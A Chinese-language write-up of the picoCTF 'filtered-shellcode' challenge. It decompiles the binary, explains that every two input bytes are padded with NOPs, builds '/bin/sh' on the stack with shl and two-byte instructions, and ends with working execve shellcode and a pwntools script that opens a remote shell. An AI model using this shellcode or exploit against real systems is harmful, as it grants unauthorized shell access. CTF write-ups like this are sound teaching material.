0x01 题目解析

废话不多说,我们直接看题,URL:https://play.picoctf.org/practice/challenge/184?category=6&page=1
题目
emmm,根据题目名称可以知道,这是一道和shellcode有关系的题目,满猜是什么变种题?
有一个Fun文件,我们打开并且使用ida反编译康康:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[1000]; // [esp+1h] [ebp-3F5h] BYREF
_DWORD code[3]; // [esp+3E9h] [ebp-Dh]

*(&code[1] + 1) = &argc;
setbuf(stdout, 0);
LOBYTE(code[1]) = 0;
puts("Give me code to run:");
code[0] = fgetc(stdin);
while ( LOBYTE(code[0]) != '\n' && *(code + 1) <= 999u )
{
v4[*(code + 1)] = code[0];
LOBYTE(code[0]) = fgetc(stdin);
++*(code + 1);
}
if ( (code[0] & 0x100) != 0 )
v4[(*(code + 1))++] = -112;
execute(v4, *(code + 1));
return 0;

经过我仔细的观察,似乎main函数实现了把输入的内容传递到了execute函数的功能,画布多数,自己看看就行,我们一起进入execute函数康康
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl execute(int a1, int size)
{
void *v2; // esp
int v3; // eax
_DWORD v5[3]; // [esp+0h] [ebp-28h] BYREF
int (*tmp)(void); // [esp+Ch] [ebp-1Ch]
int v7; // [esp+10h] [ebp-18h]
unsigned int double_size; // [esp+14h] [ebp-14h]
int v9; // [esp+18h] [ebp-10h]
unsigned int i; // [esp+1Ch] [ebp-Ch]

if ( !a1 || !size )
exit(1);
double_size = 2 * size;
v7 = 2 * size;
v2 = alloca(16 * ((2 * size + 16) / 0x10u));
tmp = (int (*)(void))v5;
v9 = 0;
for ( i = 0; double_size > i; ++i )
{
if ( (int)i % 4 > 1 ) // 2,3
{
*((_BYTE *)tmp + i) = '\x90'; // adding nop
}
else
{
v3 = v9++; // defult as 0,++
*((_BYTE *)tmp + i) = *(_BYTE *)(v3 + a1);
}
}
*((_BYTE *)tmp + double_size) = 195;
v5[2] = tmp;
return tmp();
}

这个时候,凡人的就来到了,execute函数会对shellcode做一些很奇怪的操作,会每两个字节就添加nop操作,这个我们从gdb动调也能看出
首先是我们输入的数据

可以看到,我们输入了aaaabbbbccccdddd
现在,我们在execute函数的return处下断点

跟进eip;

嗯,正如我们所料的,每过两字节确实添加了nop,所以问题就产生了,应为每两个字节就会插入一个nop,所以说每条指令不能超过2字节长
所以说,最大的问题,是如何把/bin/sh压入栈中

shl 指令

SHL是一个汇编指令,作用是逻辑左移指令,将目的操作数顺序左移1位或CL寄存器中指定的位数。左移一位时,操作数的最高位移入进位标志位CF,最低位补零。
简单来说,就是左移一段数据 比如说 00001100 被shl后,就变成了 00011000
那么也就是说,我们可以通过操作寄存器的子寄存器(ah,al,bh,bl)等,控制寄存器高低为,之后使用左移命令,把首先进入寄存器中的一条指令(四个字节)左移8位,再使用子寄存器控制,如图所示

有了把bin/sh推入栈中的思路,就可以构造exp了!

exp构造

汇编大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/*Put the syscall number of execve in eax*/
xor eax, eax
mov al, 0xb
/*Put zero in ecx and edx*/
xor ecx, ecx
xor edx, edx
/*Push "/sh\x00" on the stack*/
xor ebx, ebx
mov bl, 0x68
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x73
mov bl, 0x2f
push ebx
nop
/*Push "/bin" on the stack*/
mov bh, 0x6e
mov bl, 0x69
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x62
mov bl, 0x2f
push ebx
nop
/*Move the esp (that points to "/bin/sh\x00") in ebx*/
mov ebx, esp
/*Syscall*/
int 0x80

(来源 https://cyb3rwhitesnake.medium.com/picoctf-filtered-shellcode-pwn-3d69010376df )
把汇编转化一下,就得到了最后的exp:
1
2
3
4
5
6
7
from pwn import *
io = remote("mercury.picoctf.net",28494)
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = "\x31\xC0\xB0\x0B\x31\xC9\x31\xD2\x31\xDB\xB3\x68\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xB7\x73\xB3\x2F\x53\x90\xB7\x6E\xB3\x69\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xD1\xE3\xB7\x62\xB3\x2F\x53\x90\x89\xE3\xCD\x80"
io.recvuntil(b'Give me code to run:\n')
io.sendline(shellcode)
io.interactive()